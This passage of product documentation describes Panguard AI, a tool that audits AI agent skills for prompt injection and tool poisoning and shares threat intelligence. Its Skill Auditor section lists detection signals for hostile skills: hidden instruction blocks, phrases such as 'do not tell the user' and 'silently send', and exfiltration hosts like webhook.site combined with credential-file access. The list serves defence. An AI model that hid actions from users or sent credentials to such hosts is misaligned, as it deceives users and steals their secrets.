| **Download** | Confirmed ATR rules | Community-confirmed detection rules                          |
| **Download** | IP blocklist        | Known malicious IPs                                          |
| **Download** | Domain blocklist    | Known malicious domains                                      |

## Quick Start

No configuration needed. Guard automatically connects to the public Threat Cloud when started:

```bash theme={null}
panguard guard start --dashboard
```

Threat Cloud sync happens automatically every hour in the background. Your agent contributes anonymized threat data and receives updated ATR rules and IoC feeds.

<Info>
  **Zero configuration required.** The public Threat Cloud at `tc.panguard.ai` is free for all
  Panguard users. No API key needed for standard agent sync.
</Info>

## API Endpoints

| Method | Endpoint                      | Description                                           |
| ------ | ----------------------------- | ----------------------------------------------------- |
| POST   | `/api/atr-proposals`          | Submit or confirm an ATR proposal                     |
| GET    | `/api/atr-rules`              | Fetch confirmed ATR rules (supports `?since=` filter) |
| POST   | `/api/skill-threats`          | Submit skill threat from audit                        |
| POST   | `/api/analyze-skills`         | Submit scan results for server-side LLM analysis      |
| POST   | `/api/scan-events`            | Report scan events (bulk/CLI/web)                     |
| GET    | `/api/feeds/ip-blocklist`     | IP blocklist feed                                     |
| GET    | `/api/feeds/domain-blocklist` | Domain blocklist feed                                 |
| GET    | `/api/skill-blacklist`        | Community skill blacklist                             |
| GET    | `/api/stats`                  | Threat statistics                                     |
| GET    | `/api/metrics`                | Aggregated metrics (cached 60s)                       |
| GET    | `/health`                     | Health check                                          |

## Private Instances

For organizations requiring isolated threat intelligence infrastructure, private Threat Cloud instances are available. Contact us for deployment options.

<Card title="Contact for Private Instance" icon="envelope" href="https://panguard.ai/contact">
  Organizations can deploy dedicated Threat Cloud infrastructure.
</Card>

<CardGroup>
  <Card title="Privacy" icon="shield-check" href="/products/threat-cloud/privacy">
    Anonymized data, zero telemetry, and opt-out controls.
  </Card>

  <Card title="API Reference" icon="code" href="/api-reference/threat-cloud/ioc">
    REST API for querying and submitting threat intelligence.
  </Card>
</CardGroup>


# Privacy
Source: https://docs.panguard.ai/products/threat-cloud/privacy

How Panguard Threat Cloud anonymizes data, enforces zero telemetry, and supports full opt-out for air-gapped environments.

Privacy is a core design principle of Panguard Threat Cloud. All threat data is anonymized before leaving your machine, zero telemetry is collected, and the entire system can operate fully offline with a single configuration flag.

## Anonymization

### IP Address Masking

All IP addresses are /16-anonymized before submission. The last two octets are zeroed:

| Original IP    | Anonymized IP |
| -------------- | ------------- |
| `192.168.1.50` | `192.168.0.0` |
| `10.0.42.100`  | `10.0.0.0`    |
| `203.0.113.50` | `203.0.0.0`   |

This preserves network-level information needed for threat intelligence while making it impossible to identify specific hosts.

### What Is Shared

| Data                      | Shared | Anonymization                            |
| ------------------------- | ------ | ---------------------------------------- |
| Attacker source IP        | Yes    | /16 masked (last two octets zeroed)      |
| Attack type and technique | Yes    | Already generic, no anonymization needed |
| MITRE ATT\&CK IDs         | Yes    | Public taxonomy, no anonymization needed |
| Confidence score          | Yes    | No anonymization needed                  |
| File hashes (malware)     | Yes    | Hash only, no file content               |
| Timestamps                | Yes    | Rounded to nearest hour                  |
| Tags and classification   | Yes    | Already generic                          |

### What Is Never Shared

| Data                       | Status                |
| -------------------------- | --------------------- |
| Your machine's IP address  | **Never transmitted** |
| Hostnames or machine IDs   | **Never transmitted** |
| Internal IP addresses      | **Never transmitted** |
| File contents              | **Never transmitted** |
| Log entries or raw events  | **Never transmitted** |
| User credentials           | **Never transmitted** |
| Configuration details      | **Never transmitted** |
| Scan results               | **Never transmitted** |
| Usernames or account names | **Never transmitted** |

## Zero Telemetry

Panguard collects zero telemetry about your usage:

* No usage analytics
* No crash reports sent externally
* No feature tracking
* No license phone-home beyond initial activation
* No third-party analytics SDKs
* No browser fingerprinting
* No session recording

## Data Retention

| Setting         | Default              | Description                                            |
| --------------- | -------------------- | ------------------------------------------------------ |
| IoC retention   | 90 days              | Indicators older than 90 days are automatically purged |
| Submission logs | Local only           | Kept on your machine, never uploaded                   |
| Feed cache      | Refreshed every hour | Local cache of external feed data                      |

## Opt-Out (Offline Mode)

Threat Cloud sharing can be disabled entirely for air-gapped or privacy-sensitive environments:

```bash theme={null}
# Disable Threat Cloud in Guard
panguard guard config --threat-cloud disabled

# Or set via environment variable
export PANGUARD_THREAT_CLOUD=disabled

```

When disabled:

* No data is submitted to any Threat Cloud instance (public or private)
* Guard continues to function with local detection only (ATR rules, baseline)
* Threat intelligence lookups use only the last-synced local feed cache
* No network connections are made to Threat Cloud endpoints
* All other features remain fully operational

<Info>
  Offline mode reduces detection capability since you lose access to collective threat intelligence.
  Consider running a private Threat Cloud instance within your network as a middle ground between
  full sharing and complete isolation.
</Info>

## Audit Logging

All data submissions to Threat Cloud are logged locally for audit purposes:

```bash theme={null}
# View submission log
cat ~/.panguard/threat-cloud/submissions.log
```

Each log entry records:

| Field       | Description                             |
| ----------- | --------------------------------------- |
| `timestamp` | When the submission was made            |
| `data`      | The exact anonymized data that was sent |
| `endpoint`  | Threat Cloud URL that received the data |
| `status`    | HTTP response status                    |

This allows you to verify exactly what data left your machine at any point in time.

## Self-Hosted Private Instance

For maximum privacy, run your own Threat Cloud instance:

```bash theme={null}
# Start your private instance
panguard threat start --port 8080 --api-key your-key

# Point agents to your private instance
panguard guard start --threat-cloud http://your-private-server:8080
```

With a self-hosted instance:

* All threat data stays within your network
* You control retention, access, and deletion policies
* You still benefit from external feed synchronization (ThreatFox, URLhaus, etc.)
* Cross-agent correlation works across your fleet
* No data leaves your network perimeter

## GDPR Compliance

Panguard Threat Cloud is designed with GDPR principles:

| Principle                     | Implementation                                                           |
| ----------------------------- | ------------------------------------------------------------------------ |
| **Data minimization**         | Only the minimum data needed for threat correlation is collected         |
| **Purpose limitation**        | Data is used exclusively for threat intelligence                         |
| **Storage limitation**        | Configurable retention periods (default: 90 days) with automatic purge   |
| **Right to erasure**          | Self-hosted instances have full control over data deletion               |
| **Data protection by design** | Anonymization is applied at the source, before any data leaves the agent |

<Tip>
  For organizations with strict data sovereignty requirements, combine a self-hosted Threat Cloud
  with disabled public sharing. This gives you collective intelligence within your organization
  without any data leaving your network.
</Tip>


# Quick Start
Source: https://docs.panguard.ai/quickstart

One command. Dashboard opens. You're protected.

## Install + Protect in One Command

<Tabs>
  <Tab title="macOS / Linux">`bash curl -fsSL https://get.panguard.ai | bash `</Tab>
  <Tab title="Windows">`powershell irm https://get.panguard.ai/windows | iex `</Tab>

  <Tab title="npm (all platforms)">
    ```bash theme={null}
    npm install -g panguard && pga up
    ```

    `pga` is a shortcut for `panguard`. Both work.
  </Tab>
</Tabs>

This does everything: installs Panguard, connects your AI agents (all 17 supported platforms including Claude Code, Cursor, OpenClaw, Windsurf, Zed, and more), and scans all installed skills.

Then start protection:

```bash theme={null}
pga up
```

This starts Guard + opens the dashboard. Two characters, fully protected.

***

## Scan Your AI Skills

Once installed, audit any MCP skill before installing:

```bash theme={null}
pga audit skill ./my-skill
```

```
Risk Score: 8/100 (LOW)
[PASS] Manifest: valid SKILL.md
[PASS] Prompt Safety: no injection patterns
[PASS] Secrets: none found
[PASS] Code: no suspicious patterns

VERDICT: SAFE TO INSTALL
```

For a full scan of all installed skills across all platforms:

```bash theme={null}
pga scan
```

This checks all installed skills against 768 ATR rules covering all 10 OWASP Agentic Top 10 categories -- prompt injection, tool poisoning, credential theft, and more.

<Warning>
  **CRITICAL and HIGH findings need your attention.** Review each finding and decide whether to
  keep, update, or remove the flagged skill.
</Warning>

***

## Check Guard Status

```bash theme={null}
pga status
```

```
Status:     RUNNING
Mode:       learning (Day 1/7)
Rules:      768 ATR detection rules (OWASP 10/10)
Dashboard:  http://127.0.0.1:3743
```

<Info>
  **Learning mode (Days 1-7):** Guard watches your normal behavior and builds a baseline. No false
  positives. After Day 7, anomaly detection kicks in automatically.
</Info>

***

## How the Flywheel Works

When you run Panguard, your machine joins a collective defense network:

1. **Guard detects a threat** on your machine.
2. **An anonymous hash is shared** with Threat Cloud (no personal data, no source code).
3. **3 independent scanners confirm** the pattern -- a new ATR rule is auto-generated.
4. **All Panguard users get the new rule** within 1 hour.

One machine gets attacked. One hour later, every machine is immune.

***

## Common Commands

| Command                  | What it does                           |
| ------------------------ | -------------------------------------- |
| `pga`                    | Open interactive menu                  |
| `pga up`                 | Start protection + dashboard           |
| `pga setup`              | Auto-detect and connect AI platforms   |
| `pga scan`               | Scan all installed skills              |
| `pga audit skill <path>` | Audit a single skill before installing |
| `pga status`             | Check protection status                |
| `pga guard stop`         | Stop the Guard daemon                  |

<Tip>
  `pga` is a shortcut for `panguard`. Every command works with both names.
</Tip>

***

## What's Next

<CardGroup>
  <Card title="Understand Your Score" icon="chart-line" href="/concepts/security-score">
    What your A-F grade means and how to improve it.
  </Card>

  <Card title="Set Up Notifications" icon="bell" href="/guides/notifications-setup">
    Get alerts via Telegram, Slack, or Email when threats are detected.
  </Card>

  <Card title="Platform Integration" icon="bolt" href="/guides/claw-setup">
    Manual setup for OpenClaw, NemoClaw, ArkClaw, and other platforms.
  </Card>

  <Card title="CLI Reference" icon="terminal" href="/cli/overview">
    Full reference for every command and flag.
  </Card>
</CardGroup>


# Skill Auditor
Source: https://docs.panguard.ai/skill-auditor

Scan MCP skills for security threats before installation. Powered by the unified scan-core engine shared between CLI, Website, and Guard.

Panguard Skill Auditor scans third-party MCP skills for prompt injection, tool poisoning, hidden Unicode, encoded payloads, and other threats -- before they reach your agents. It is powered by `@panguard-ai/scan-core`, a unified scanning engine shared between the CLI (`panguard audit skill`), the Website scanner, and Guard's skill watcher.

## How It Works

```
panguard audit skill /path/to/skill-directory
```

The auditor analyzes the skill's `SKILL.md` (or `README.md` as fallback) and produces a risk score (0-100) with detailed findings.

## Scanning Architecture

All scanning -- whether invoked from CLI, Website, or Guard -- passes through the same `scanContent()` function in `@panguard-ai/scan-core`. This ensures identical detection results regardless of the entry point.

The scan composes six detection layers in sequence:

| Layer                            | What It Does                                                                   |
| -------------------------------- | ------------------------------------------------------------------------------ |
| **Manifest parsing**             | Extracts frontmatter metadata (name, description, allowed-tools, version)      |
| **Context signal detection**     | Identifies risk boosters and reducers to adjust the risk multiplier            |
| **ATR rule matching**            | Matches content against community ATR rules (two-pass: raw + stripped)         |
| **Instruction pattern matching** | Detects prompt injection and tool poisoning via 11 regex patterns              |
| **Secret detection**             | Finds hardcoded API keys, tokens, and credentials                              |
| **Risk scoring**                 | Calculates final 0-100 score using findings weighted by the context multiplier |

Additional checks reported in results: manifest structure validation and content size check.

## ATR Integration

When ATR rules are available (loaded from Threat Cloud or a local rules directory), the scanner evaluates skill content against all compiled rules. Currently, the ATR corpus contains 768 rules with 920+ detection patterns covering AI agent-specific threats.

ATR matching runs a two-pass scan:

1. **Raw pass** -- Match against the original content
2. **Stripped pass** -- Match against content with Markdown noise removed (catches obfuscation attempts)

The scanner reports both the number of ATR rules evaluated and the number of patterns matched in the scan result.

## Context Signals

Context signals are pre-computed before ATR matching and influence how findings are scored. They fall into two categories:

**Boosters** (increase risk multiplier):

* `<IMPORTANT>` hidden instruction blocks
* Concealment language ("do not tell the user")
* Exfiltration URL patterns (workers.dev, ngrok.io, webhook.site, etc.)
* Consent bypass language ("without asking", "silently send")
* Credential file access combined with network calls
* Description-behavior mismatch (benign description + dangerous instructions)

**Reducers** (decrease risk multiplier):

* Skill declares shell access in frontmatter (expected for dev tools)
* Description identifies as dev/CLI/QA tool
* Well-structured frontmatter with name, description, and version/license
* Dangerous patterns appear only inside code blocks (documentation context)

The multiplier is clamped to a range of **0.3x to 2.5x** and is applied to the final risk score. This means a legitimate dev tool that declares its capabilities upfront receives a lower risk score, while a skill that tries to hide its intentions receives a higher one.

## The Flywheel

Every skill audit contributes to the community defense:

1. **Scan** -- Audit a skill locally for threats using scan-core
2. **Propose** -- High-severity findings generate ATR proposals with a pattern hash
3. **Confirm** -- Other scanners encountering the same pattern hash confirm the proposal
4. **Promote** -- At 3+ confirmations, proposals auto-promote to confirmed ATR rules
5. **Distribute** -- Confirmed rules are served to all scanners via Threat Cloud
6. **Strengthen** -- New rules improve the next audit, closing the loop

The pattern hash (`scan:{skillName}:{findingSummary}`, SHA-256 truncated to 16 hex chars) ensures CLI, Website, and Guard all produce identical identifiers for the same threat pattern.

<CardGroup>
  <Card title="Quick Start" icon="rocket" href="/quickstart">
    Install Panguard and run your first skill audit.
  </Card>

  <Card title="Scan Overview" icon="magnifying-glass" href="/products/scan/overview">
    Deep dive into all scanning capabilities.
  </Card>

  <Card title="Risk Scoring" icon="chart-bar" href="/products/scan/risk-scoring">
    Understand how risk scores are calculated.
  </Card>

  <Card title="Threat Cloud" icon="cloud" href="/products/threat-cloud/overview">
    How audit results feed into collective defense.
  </Card>
</CardGroup>

<Card title="CLI Reference" icon="terminal" href="/cli/scan">
  Full `panguard audit skill` command reference.
</Card>


# Threat Cloud
Source: https://docs.panguard.ai/threat-cloud

Collective threat intelligence for AI agent security. Community-driven rules, anonymous sharing, real-time feeds.

Threat Cloud is Panguard's collective defense network. Every blocked threat becomes a new rule. Every rule is shared anonymously. Every user strengthens the network.

## Architecture

```
Skill Audit → Threat Report → Community Vote → LLM Review → ATR Rule → Guard Sync
```

## Key Features

<CardGroup>
  <Card title="Anonymous Sharing" icon="user-secret">
    Only SHA-256 hashes and risk scores are shared. No skill content or user data leaves your
    machine.
  </Card>

  <Card title="Community Voting" icon="thumbs-up">
    Users confirm or reject threat reports through feedback, building consensus.
  </Card>

  <Card title="LLM Review" icon="brain">
    Claude Sonnet reviews proposed rules for accuracy before promotion.
  </Card>

  <Card title="Real-time Feeds" icon="rss">
    IP blocklist, domain blocklist, and ATR rules updated continuously.
  </Card>
</CardGroup>

## API Endpoints

| Endpoint                      | Method | Description                    |
| ----------------------------- | ------ | ------------------------------ |
| `/api/stats`                  | GET    | Threat intelligence statistics |
| `/api/rules`                  | GET    | Browse all community rules     |
| `/api/atr-rules`              | GET    | Fetch confirmed ATR rules      |
| `/api/skill-threats`          | POST   | Submit skill audit results     |
| `/api/feeds/ip-blocklist`     | GET    | IP blocklist feed              |
| `/api/feeds/domain-blocklist` | GET    | Domain blocklist feed          |

<Card title="Deployment Guide" icon="server" href="/products/threat-cloud/deployment">
  Deploy your own Threat Cloud instance.
</Card>

<Card title="Privacy" icon="lock" href="/products/threat-cloud/privacy">
  How we protect your data.
</Card>


# Common Issues
Source: https://docs.panguard.ai/troubleshooting/common-issues

System requirements, supported platforms, updating, and uninstalling Panguard AI.

## Supported Operating Systems

| OS            | Minimum Version  | Architecture               | Notes                                 |
| ------------- | ---------------- | -------------------------- | ------------------------------------- |
| macOS         | 12 (Monterey)+   | x64, ARM64 (Apple Silicon) | Full support including Guard and Trap |
| Ubuntu        | 20.04 LTS+       | x64, ARM64                 | Recommended Linux distribution        |
| Debian        | 11 (Bullseye)+   | x64, ARM64                 | Full support                          |
| CentOS / RHEL | 8+               | x64                        | SELinux compatible                    |
| Windows       | 10 (build 1903)+ | x64                        | Guard requires Administrator          |

## System Requirements

<AccordionGroup>
  <Accordion title="Node.js">
    **Node.js >= 20** is required. Panguard uses modern JavaScript features (top-level await, native fetch) that require Node.js 20 or later.

    Check your version:

    ```bash theme={null}
    node --version
    ```

    Install or update via [nvm](https://github.com/nvm-sh/nvm):

    ```bash theme={null}
    nvm install 20
    nvm use 20
    ```

    Or via your package manager:

    ```bash theme={null}
    # macOS
    brew install node@20

    # Ubuntu/Debian
    curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
    sudo apt-get install -y nodejs

    # Windows (winget)
    winget install OpenJS.NodeJS.LTS
    ```
  </Accordion>

  <Accordion title="Root / Administrator Privileges">
    Different Panguard modules have different privilege requirements:

    | Module             | Root/Admin Required | Reason                                       |
    | ------------------ | ------------------- | -------------------------------------------- |
    | `panguard scan`    | No                  | Reads files with user permissions            |
    | `panguard guard`   | **Yes**             | Monitors system logs, manages firewall rules |
    | `panguard trap`    | **Yes**             | Binds to privileged ports (\< 1024)          |
    | `panguard chat`    | No                  | Sends notifications over HTTPS               |
    | `panguard report`  | No                  | Generates reports from existing data         |
    | `panguard manager` | No                  | Runs as a regular HTTP server                |

    Run privileged modules with `sudo`:

    ```bash theme={null}
    sudo panguard guard start
    sudo panguard trap start
    ```
  </Accordion>

  <Accordion title="Disk Space">
    | Component                           | Approximate Size                        |
    | ----------------------------------- | --------------------------------------- |
    | Panguard CLI + core                 | \~50 MB                                 |
    | ATR rules (768)                     | \~10 MB                                 |
    | Threat Cloud database (self-hosted) | 100 MB -- 10 GB (depends on data)       |
    | Guard logs + data                   | Grows over time, recommend 1 GB minimum |
  </Accordion>

  <Accordion title="Network">
    Panguard requires outbound HTTPS access to:

    | Destination          | Purpose                          |
    | -------------------- | -------------------------------- |
    | `tc.panguard.ai`     | Threat Cloud intelligence feeds  |
    | `registry.npmjs.org` | Package installation and updates |
    | `api.anthropic.com`  | AI analysis (if using Anthropic) |
    | `api.openai.com`     | AI analysis (if using OpenAI)    |
    | `localhost:11434`    | Ollama local AI (if configured)  |

    All connections can optionally go through an HTTP proxy via the `HTTPS_PROXY` environment variable.
  </Accordion>
</AccordionGroup>

## How to Update

Update Panguard to the latest version:

<CodeGroup>
  ```bash npm (global install) theme={null}
  npm update -g panguard
  ```

  ```bash npx (no install) theme={null}
  npx panguard@latest doctor
  ```

  ```bash Verify version theme={null}
  panguard --version
  ```
</CodeGroup>

After updating, restart any running services:

```bash theme={null}
# Restart Guard
sudo panguard guard stop
sudo panguard guard start

# Restart Chat
panguard chat stop
panguard chat start
```

<Info>
  Panguard checks for updates automatically and displays a notification in the CLI when a new
  version is available. ATR detection rules update independently from the CLI tool.
</Info>

## How to Uninstall

To completely remove Panguard from your system:

<Tabs>
  <Tab title="macOS / Linux">
    ```bash theme={null}
    # 1. Stop all running services
    sudo panguard guard stop
    panguard chat stop

    # 2. Remove the system service (if installed)
    sudo panguard guard uninstall-service

    # 3. Uninstall the npm package
    npm uninstall -g panguard

    # 4. Remove data directories
    rm -rf ~/.panguard
    rm -rf ~/.panguard-guard
    rm -rf ~/.panguard-chat

    # 5. Remove credentials
    rm -f ~/.panguard/credentials.json

    # 6. Remove firewall rules added by Guard
    # macOS:
    sudo pfctl -F all
    # Linux:
    sudo iptables -F PANGUARD 2>/dev/null
    sudo iptables -X PANGUARD 2>/dev/null
    ```
  </Tab>

  <Tab title="Windows">
    ```powershell theme={null}
    # 1. Stop all running services
    panguard guard stop
    panguard chat stop

    # 2. Remove the Windows service (if installed)
    panguard guard uninstall-service

    # 3. Uninstall the npm package
    npm uninstall -g panguard

    # 4. Remove data directories
    Remove-Item -Recurse -Force "$HOME\.panguard"
    Remove-Item -Recurse -Force "$HOME\.panguard-guard"
    Remove-Item -Recurse -Force "$HOME\.panguard-chat"

    # 5. Remove firewall rules
    Remove-NetFirewallRule -DisplayName "Panguard*"
    ```
  </Tab>
</Tabs>

<Warning>
  Uninstalling removes all local data including scan history, threat logs, and configuration. Export
  your data first with `panguard report generate` if you need historical records.
</Warning>

## Common Error Messages

<AccordionGroup>
  <Accordion title="Error: Node.js version 20 or later is required">
    Your Node.js version is too old. Update to Node.js 20+: `bash nvm install 20 && nvm use 20 `
  </Accordion>

  <Accordion title="Error: EACCES permission denied">
    You are running a privileged module without root access: `bash sudo panguard guard start `
    For non-root setups, see the [system service guide](/guides/system-service).
  </Accordion>

  <Accordion title="Error: Cannot find module 'panguard'">
    Panguard is not installed globally, or your PATH does not include the npm global bin directory:
    `bash npm install -g panguard # Or check your PATH: npm config get prefix `
  </Accordion>

  <Accordion title="Error: ECONNREFUSED">
    The target service is not running or is unreachable. Check: - Is the service started? (`panguard
            status`) - Is the port correct? (check environment variables) - Is a firewall blocking the
    connection?
  </Accordion>
</AccordionGroup>


# Guard Issues
Source: https://docs.panguard.ai/troubleshooting/guard-issues

Troubleshoot Panguard Guard startup, performance, and detection problems.

## Guard Already Running

```
Error: Panguard Guard is already running (PID: 12345)
```

Another instance of Guard is active. Stop it first:

```bash theme={null}
# Stop the running instance
sudo panguard guard stop

# If stop fails, check and remove the PID file
cat ~/.panguard-guard/guard.pid
sudo kill $(cat ~/.panguard-guard/guard.pid)
rm ~/.panguard-guard/guard.pid

# Now start again
sudo panguard guard start
```

<Warning>
  Do not run multiple Guard instances on the same machine. They will conflict on log file access,
  firewall rules, and monitoring resources.
</Warning>

If the PID file references a process that no longer exists (stale PID):

```bash theme={null}
# Verify the process is actually gone
ps -p $(cat ~/.panguard-guard/guard.pid)

# If "no such process", safely remove the PID file
rm ~/.panguard-guard/guard.pid
sudo panguard guard start
```

***

## Permission Denied

```
Error: EACCES: permission denied, open '/var/log/auth.log'
```

Guard requires root/admin privileges to read system logs and manage firewall rules.

<Tabs>
  <Tab title="Run with sudo">
    ```bash theme={null}
    sudo panguard guard start
    ```
  </Tab>

  <Tab title="Install as system service">
    Install Guard as a systemd service that runs with appropriate privileges:

    ```bash theme={null}
    sudo panguard guard install-service
    sudo systemctl start panguard-guard
    sudo systemctl enable panguard-guard
    ```

    Check service status:

    ```bash theme={null}
    sudo systemctl status panguard-guard
    ```
  </Tab>

  <Tab title="macOS launchd">
    ```bash theme={null}
    sudo panguard guard install-service
    sudo launchctl load /Library/LaunchDaemons/com.panguard.guard.plist
    ```
  </Tab>
</Tabs>

***

## High Memory Usage

If Guard consumes more memory than expected:

<AccordionGroup>
  <Accordion title="Check current usage">
    ```bash theme={null}
    panguard status --verbose
    ```

    Normal memory ranges:

    | Component                   | Typical Memory  |
    | --------------------------- | --------------- |
    | Core agent                  | 50--100 MB      |
    | ATR rule engine (768 rules) | \~30 MB         |
    | AI analysis (local)         | 100--500 MB     |
    | **Total**                   | **170--620 MB** |
  </Accordion>

  <Accordion title="Reduce memory usage">
    1. **Disable unused monitors** -- Turn off monitoring for subsystems you do not need:
       ```bash theme={null}
       panguard config set monitoring.dockerEvents false
       panguard config set monitoring.kernelModules false
       ```

    2. **Reduce rule count** -- Disable rule categories you do not need:
       ```bash theme={null}
       panguard config set rules.excludeCategories '["informational", "test"]'
       ```

    3. **Use remote AI instead of local** -- Switch from Ollama to a cloud AI provider to save the memory used by local models:
       ```bash theme={null}
       export ANTHROPIC_API_KEY=sk-ant-...
       # Stop Ollama if running
       ```

    4. **Increase garbage collection** -- For Node.js memory optimization:
       ```bash theme={null}
       export NODE_OPTIONS="--max-old-space-size=512"
       ```
  </Accordion>
</AccordionGroup>

***

## False Positives

If Guard generates too many alerts for legitimate activity:

<AccordionGroup>
  <Accordion title="Extend the learning period">
    The default learning period is 7 days. If your workload is complex, extend it:

    ```bash theme={null}
    panguard config set learningDays 14
    ```

    Reset learning data and restart:

    ```bash theme={null}
    sudo panguard guard stop
    panguard config set mode learning
    sudo panguard guard start
    ```
  </Accordion>

  <Accordion title="Adjust detection thresholds">
    Increase the threshold for specific threat types:

    ```bash theme={null}
    # Require more events before alerting on brute force
    panguard config set response.minConfidence 0.90

    # Increase SSH failure threshold
    panguard config set rules.sshFailureThreshold 20
    ```
  </Accordion>

  <Accordion title="Whitelist known-good IPs and processes">
    Add trusted IPs and processes to the whitelist:

    ```bash theme={null}
    # Whitelist an IP
    panguard config set response.whitelistedIps '["10.0.0.0/8", "192.168.1.100"]'

    # Whitelist a process
    panguard config set response.whitelistedProcesses '["backup-agent", "monitoring-daemon"]'
    ```
  </Accordion>

  <Accordion title="Disable noisy rules">
    Identify and disable specific rules causing false positives:

    ```bash theme={null}
    # Check recent alerts with rule IDs
    panguard guard logs --severity low --limit 20

    # Disable a specific rule
    panguard config set rules.excludeIds '["ATR-2025-0099"]'
    ```
  </Accordion>
</AccordionGroup>

***

## Auto-Response Not Executing

If Guard detects threats but does not take automated action:

<AccordionGroup>
  <Accordion title="Check confidence threshold">
    Auto-response only triggers when the AI confidence score exceeds `minConfidence`:

    ```bash theme={null}
    # Check current threshold
    panguard config get response.minConfidence
    ```

    If detections are below the threshold, lower it carefully:

    ```bash theme={null}
    panguard config set response.minConfidence 0.80
    ```

    <Warning>
      Setting `minConfidence` below 0.7 significantly increases the risk of false positive responses (blocking legitimate IPs or killing legitimate processes).
    </Warning>
  </Accordion>

  <Accordion title="Verify response is enabled">
    ```bash theme={null}
    panguard config get response.enabled
    panguard config get response.autoBlock
    ```

    Enable if disabled:

    ```bash theme={null}
    panguard config set response.enabled true
    panguard config set response.autoBlock true
    ```
  </Accordion>

  <Accordion title="Check operating mode">
    Auto-response does not execute in `learning` or `detect` modes:

    ```bash theme={null}
    panguard config get mode
    ```

    Switch to `protect` mode:

    ```bash theme={null}
    panguard config set mode protect
    sudo panguard guard restart
    ```
  </Accordion>

  <Accordion title="Check approval requirement">
    If `requireApproval` is enabled, Guard sends approval requests instead of auto-executing:

    ```bash theme={null}
    panguard config get response.requireApproval
    # If true, check pending approvals:
    panguard guard approvals
    ```
  </Accordion>
</AccordionGroup>

***

## Guard Crashes on Startup

<AccordionGroup>
  <Accordion title="Check logs">
    ```bash theme={null}
    cat ~/.panguard-guard/logs/guard.log | tail -50
    ```

    Or with the CLI:

    ```bash theme={null}
    panguard guard logs --limit 50
    ```
  </Accordion>

  <Accordion title="Run diagnostics">
    ```bash theme={null}
    panguard doctor
    ```

    This checks Node.js version, permissions, disk space, port availability, and configuration validity.
  </Accordion>

  <Accordion title="Reset configuration">
    If the config file is corrupted:

    ```bash theme={null}
    # Back up current config
    cp ~/.panguard-guard/config.json ~/.panguard-guard/config.json.bak

    # Reset to defaults
    rm ~/.panguard-guard/config.json
    sudo panguard guard start
    ```
  </Accordion>
</AccordionGroup>


# Notification Issues
Source: https://docs.panguard.ai/troubleshooting/notification-issues

Troubleshoot Telegram, Slack, Email, and Webhook notification delivery problems.

## Not Receiving Notifications

If notifications are not arriving on any channel, start with these general checks:

<AccordionGroup>
  <Accordion title="1. Check notification status">
    ```bash theme={null}
    panguard chat status
    ```

    This shows:

    * Which channels are enabled
    * Last successful delivery time
    * Any pending errors
    * Current minimum severity setting
  </Accordion>

  <Accordion title="2. Send a test notification">
    ```bash theme={null}
    # Test all enabled channels
    panguard chat test

    # Test a specific channel
    panguard chat test --channel telegram
    ```

    If the test succeeds but real notifications do not arrive, the issue is likely the severity filter or cooldown timer.
  </Accordion>

  <Accordion title="3. Check severity filter">
    Notifications are only sent for events at or above the configured minimum severity:

    ```bash theme={null}
    panguard config get notification.minSeverity
    ```

    If set to `critical`, only critical events trigger notifications. Lower it:

    ```bash theme={null}
    panguard config set notification.minSeverity medium
    ```
  </Accordion>

  <Accordion title="4. Check cooldown timer">
    The cooldown prevents duplicate notifications. If many similar events occur, only the first triggers a notification:

    ```bash theme={null}
    panguard config get notification.cooldownMinutes
    ```

    Reduce if needed:

    ```bash theme={null}
    panguard config set notification.cooldownMinutes 5
    ```
  </Accordion>

  <Accordion title="5. Re-run channel setup">
    If none of the above resolves the issue, re-run the setup:

    ```bash theme={null}
    panguard chat setup telegram
    # or
    panguard chat setup slack
    ```

    This re-validates credentials and re-encrypts the configuration.
  </Accordion>
</AccordionGroup>

***

## Telegram Issues

<AccordionGroup>
  <Accordion title="Invalid bot token">
    ```
    Error: Telegram API returned 401: Unauthorized
    ```

    The bot token is invalid or has been revoked.

    **Solution:**

    1. Go to [@BotFather](https://t.me/BotFather) on Telegram
    2. Send `/mybots` and select your bot
    3. Regenerate the token if needed
    4. Re-run setup:
       ```bash theme={null}
       panguard chat setup telegram
       ```
  </Accordion>

  <Accordion title="Invalid chat ID">
    ```
    Error: Telegram API returned 400: Bad Request: chat not found
    ```

    The chat ID is incorrect or the bot has not been added to the group.

    **Solution:**

    1. Send any message to your bot first (this is required by Telegram)
    2. For group chats, add the bot to the group
    3. Re-run setup to auto-detect the chat ID:
       ```bash theme={null}
       panguard chat setup telegram
       ```
  </Accordion>

  <Accordion title="Must message bot first">
    Telegram bots cannot initiate conversations. You must send a message to the bot before it can send messages to you.

    1. Open Telegram and find your bot by username
    2. Send `/start` or any message
    3. Then run:
       ```bash theme={null}
       panguard chat test --channel telegram
       ```
  </Accordion>

  <Accordion title="Group chat permissions">
    If the bot cannot send messages to a group:

    1. Ensure the bot is a member of the group
    2. If the group has restricted messaging, make the bot an admin
    3. In BotFather, check that **Group Privacy** is disabled (`/mybots` > Bot Settings > Group Privacy > Turn off)
  </Accordion>
</AccordionGroup>

***

## Slack Issues

<AccordionGroup>
  <Accordion title="Invalid webhook URL">
    ```
    Error: Slack webhook returned 403: invalid_token
    ```

    The webhook URL is invalid, expired, or has been revoked.

    **Solution:**

    1. Go to [api.slack.com/apps](https://api.slack.com/apps)
    2. Select your app
    3. Navigate to **Incoming Webhooks**
    4. Create a new webhook or copy the existing URL
    5. Re-run setup:
       ```bash theme={null}
       panguard chat setup slack
       ```
  </Accordion>

  <Accordion title="Channel not found">
    ```
    Error: Slack webhook returned 404: channel_not_found
    ```

    The configured channel does not exist or the webhook is not authorized for it.

    **Solution:**

    * Verify the channel name is correct (include the `#` prefix)
    * Create a new webhook specifically for the target channel
    * Re-run setup with the correct channel:
      ```bash theme={null}
      panguard chat setup slack
      ```
  </Accordion>

  <Accordion title="App permissions">
    If using a Slack App (not just an incoming webhook), ensure the app has these scopes:

    * `incoming-webhook` -- Post messages via webhook
    * `chat:write` -- Post messages (if using Bot Token)
    * `chat:write.public` -- Post to channels the bot is not a member of

    Reinstall the app to your workspace after changing scopes.
  </Accordion>
</AccordionGroup>

***

## Email Issues

<AccordionGroup>
  <Accordion title="SMTP connection refused">
    ```
    Error: connect ECONNREFUSED smtp.gmail.com:587
    ```

    * Verify the SMTP host and port are correct
    * Check if your firewall or ISP blocks outbound port 587
    * Try port 465 (SSL) if 587 (TLS) is blocked:
      ```bash theme={null}
      panguard config set channels.email.smtp.port 465
      ```
  </Accordion>

  <Accordion title="SMTP authentication failed">
    ```
    Error: Invalid login: 535-5.7.8 Username and Password not accepted
    ```

    **For Gmail:**

